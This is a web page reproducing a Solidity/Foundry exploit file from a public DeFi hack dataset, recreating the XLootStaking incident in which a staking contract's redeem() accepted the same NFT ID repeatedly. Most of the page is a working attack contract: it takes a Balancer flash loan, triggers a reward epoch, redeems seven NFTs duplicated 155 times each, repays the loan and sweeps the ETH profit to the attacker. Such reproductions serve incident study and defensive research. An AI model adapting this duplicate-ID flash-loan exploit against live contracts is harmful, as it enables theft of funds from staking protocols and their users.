Public reproduction file
src/test/2026-04/XLootStaking_exp.sol
Public reproduction file for dataset entry XLootStaking.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 6.21 ETH8// Attacker : 0xAcDcD2e9787E889305200900d6Cf6C05485786309// Attack Contract : 0xd8A948b2ee03165a3c6b8940837bab664BC5CF4d10// Vulnerable Contract : 0xf3A3648bB1Da9D3aeA107da77E6f5bA9Cf31312711// Victim : 0x9d87Ff196646A99BDdb16876066aA863900118b412// Attack Tx : https://etherscan.io/tx/0xab19752a450a205ccaca9afb8505e2d8b79593ee2edab1f67bdec27a4f14871f14// @Info15// Vulnerable Contract Code : https://etherscan.io/address/0xf3A3648bB1Da9D3aeA107da77E6f5bA9Cf313127#code17// @Analysis18// Twitter Guy : https://x.com/DefimonAlerts/status/204470996409118766019//20// Staking.redeem(uint256[]) calculates all xLOOT rewards before it advances xLoot.nextRedeem[id]. The calculation21// loops over every supplied ID and only checks ownerOf(id), so the same owned NFT can be supplied many times in a22// single redeem call. After a 2.1 ETH Balancer flash loan triggers a new epoch through receive(), seven owned xLOOT23// IDs repeated 155 times each claim the epoch reward 1,085 times, paying 6.2098 ETH before the 2.1 WETH repayment.25address constant ATTACKER = 0xAcDcD2e9787E889305200900d6Cf6C0548578630;26address constant STAKING_PROXY = 0x9d87Ff196646A99BDdb16876066aA863900118b4;27address constant XLOOT = 0x9237DfD3Ff86710bfD16Ee6172F184a2bB4de10A;28address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;29address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;31uint256 constant WETH_FLASH_AMOUNT = 2.1 ether;32uint256 constant TRACE_REPEAT_COUNT = 155;34interface IXLoot is IERC721 {}36interface IXLootStaking {37 function redeem(38 uint256[] calldata xloots39 ) external;41 function claimableOf(42 address account,43 uint256[] calldata xloots44 ) external view returns (uint256 claimable, uint256 bonusAmount, uint256 duration);46 function nextEpoc() external view returns (uint256 time, uint256 ppt, uint256 epp, uint256 epn, uint256 value);48 function nextEpocId() external view returns (uint256);50 function xLootNextReem(51 uint256 xlootId52 ) external view returns (uint256);53}55contract ContractTest is BaseTestWithBalanceLog {56 IXLoot private constant xloot = IXLoot(XLOOT);57 IXLootStaking private constant staking = IXLootStaking(STAKING_PROXY);59 function setUp() public {60 uint256 forkBlock = 24_885_767;61 vm.createSelectFork("mainnet", forkBlock);62 fundingToken = address(0);64 vm.label(ATTACKER, "Attacker");65 vm.label(STAKING_PROXY, "xLOOT Staking Proxy");66 vm.label(XLOOT, "xLOOT NFT");67 vm.label(BALANCER_VAULT, "Balancer Vault");68 vm.label(WETH_TOKEN, "WETH");69 }71 function testExploit() public balanceLog2(ATTACKER) {72 uint256[] memory baseIds = tracedXlootIds();73 XLootStakingAttack attack = new XLootStakingAttack(ATTACKER, baseIds);74 vm.label(address(attack), "Local Attack Contract");76 uint256 startingNextEpoch = staking.nextEpocId();77 for (uint256 i = 0; i < baseIds.length; ++i) {78 assertEq(xloot.ownerOf(baseIds[i]), ATTACKER, "attacker does not own xLOOT");79 assertEq(staking.xLootNextReem(baseIds[i]), startingNextEpoch - 1, "unexpected xLOOT redeem cursor");80 }82 // step 1: stage the same seven xLOOT NFTs into a fresh local helper.83 vm.startPrank(ATTACKER);84 for (uint256 i = 0; i < baseIds.length; ++i) {85 xloot.transferFrom(ATTACKER, address(attack), baseIds[i]);86 }87 vm.stopPrank();89 // step 2: match the attack block timestamp so receive() commits epoch 47.90 (uint256 nextEpochTime,,,,) = staking.nextEpoc();91 vm.warp(nextEpochTime);93 uint256 attackerEthBefore = ATTACKER.balance;94 attack.run();95 uint256 attackerProfit = ATTACKER.balance - attackerEthBefore;97 logTokenBalance(address(0), ATTACKER, "Attacker profit");99 assertGt(attackerProfit, 4 ether, "profit below traced amount");100 assertEq(IERC20(WETH_TOKEN).balanceOf(address(attack)), 0, "WETH left on helper");101 assertEq(address(attack).balance, 0, "ETH left on helper");102 for (uint256 i = 0; i < baseIds.length; ++i) {103 assertEq(xloot.ownerOf(baseIds[i]), ATTACKER, "xLOOT not returned");104 assertEq(staking.xLootNextReem(baseIds[i]), startingNextEpoch + 1, "redeem cursor not advanced once");105 }106 }108 function tracedXlootIds() private pure returns (uint256[] memory ids) {109 ids = new uint256[](7);110 ids[0] = 128;111 ids[1] = 144;112 ids[2] = 145;113 ids[3] = 195;114 ids[4] = 49;115 ids[5] = 51;116 ids[6] = 52;117 }118}120contract XLootStakingAttack {121 address private immutable profitReceiver;122 uint256[] private baseIds;124 constructor(125 address profitReceiver_,126 uint256[] memory baseIds_127 ) {128 profitReceiver = profitReceiver_;129 baseIds = baseIds_;130 }132 receive() external payable {}134 function run() external {135 address[] memory tokens = new address[](1);136 tokens[0] = WETH_TOKEN;138 uint256[] memory amounts = new uint256[](1);139 amounts[0] = WETH_FLASH_AMOUNT;141 IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");142 }144 function receiveFlashLoan(145 address[] memory tokens,146 uint256[] memory amounts,147 uint256[] memory feeAmounts,148 bytes memory149 ) external {150 require(msg.sender == BALANCER_VAULT, "not Balancer");151 require(tokens.length == 1 && tokens[0] == WETH_TOKEN, "unexpected token");152 require(amounts[0] == WETH_FLASH_AMOUNT, "unexpected amount");154 // step 3: unwrap the Balancer WETH and fund the staking receive path to commit the next epoch.155 IWETH(payable(WETH_TOKEN)).withdraw(amounts[0]);156 (bool committed,) = payable(STAKING_PROXY).call{value: amounts[0]}("");157 require(committed, "epoch trigger failed");159 // step 4: redeem seven owned xLOOT IDs repeated 155 times each.160 uint256[] memory redeemIds = duplicatedIds();161 (uint256 claimable,,) = IXLootStaking(STAKING_PROXY).claimableOf(address(this), redeemIds);162 uint256 debt = amounts[0] + feeAmounts[0];163 require(claimable > debt, "duplicate IDs did not amplify claim");164 IXLootStaking(STAKING_PROXY).redeem(redeemIds);166 // step 5: repay Balancer in WETH, return the NFTs, and sweep ETH profit to the attacker EOA.167 IWETH(payable(WETH_TOKEN)).deposit{value: debt}();168 require(IERC20(WETH_TOKEN).transfer(BALANCER_VAULT, debt), "repay WETH");169 returnXloots();170 sweepProfit();171 }173 function duplicatedIds() private view returns (uint256[] memory ids) {174 ids = new uint256[](baseIds.length * TRACE_REPEAT_COUNT);175 uint256 cursor;176 for (uint256 i = 0; i < baseIds.length; ++i) {177 for (uint256 j = 0; j < TRACE_REPEAT_COUNT; ++j) {178 ids[cursor++] = baseIds[i];179 }180 }181 }183 function returnXloots() private {184 for (uint256 i = 0; i < baseIds.length; ++i) {185 IERC721(XLOOT).transferFrom(address(this), profitReceiver, baseIds[i]);186 }187 }189 function sweepProfit() private {190 uint256 balance = address(this).balance;191 if (balance != 0) {192 (bool sent,) = payable(profitReceiver).call{value: balance}("");193 require(sent, "sweep ETH");194 }195 }196}Analysis
Dataset entry
Public Foundry test for “XLootStaking” (2026-04-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-04/AaveRebalancerCreditDelegation_exp.solSame month in the dataset · 126 lines
- src/test/2026-04/giddyvaultv3_compound_auth_exp.solSame month in the dataset · 283 lines
- src/test/2026-04/JUDAO_exp.solSame month in the dataset · 164 lines
- src/test/2026-04/JuiceboxREVLoans_exp.solSame month in the dataset · 231 lines
- src/test/2026-04/KipseliPropAMM_exp.solSame month in the dataset · 128 lines
- src/test/2026-04/MONA_LisaVault_exp.solSame month in the dataset · 247 lines
- src/test/2026-04/PerpPair_exp.solSame month in the dataset · 249 lines
- src/test/2026-04/RWAVault_exp.solSame month in the dataset · 133 lines
- src/test/2026-04/SaturnProtocol_exp.solSame month in the dataset · 211 lines
- src/test/2026-04/SingularityDynaVault_exp.solSame month in the dataset · 180 lines
- src/test/2026-04/SquidMulticallAllowanceDrain_exp.solSame month in the dataset · 99 lines
- src/test/2026-04/SubQuerySettings_exp.solSame month in the dataset · 168 lines
- src/test/2026-04/ThetanutsVaultShareRounding_exp.solSame month in the dataset · 105 lines
- src/test/2026-04/unverified_a152_exp.solSame month in the dataset · 184 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xacdcd2e9787e889305200900d6cf6c0548578630
- Attack Contract
0xd8a948b2ee03165a3c6b8940837bab664bc5cf4d
- Vulnerable Contract
0xf3a3648bb1da9d3aea107da77e6f5ba9cf313127
- Victim
0x9d87ff196646a99bddb16876066aa863900118b4
- Attack Tx
0xab19752a450a205ccaca9afb8505e2d8b79593ee2edab1f67bdec27a4f14871f
File record
- Name
- XLootStaking
- Path
- src/test/2026-04/XLootStaking_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 7ae2bc8ed933f9204458655ab8f7dc8b74e6fd27
- Language
- Solidity
- Size
- 197 lines
- Date
- 2026-04-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-04/XLootStaking_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7ae2bc8ed933f9204458655ab8f7dc8b74e6fd27, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.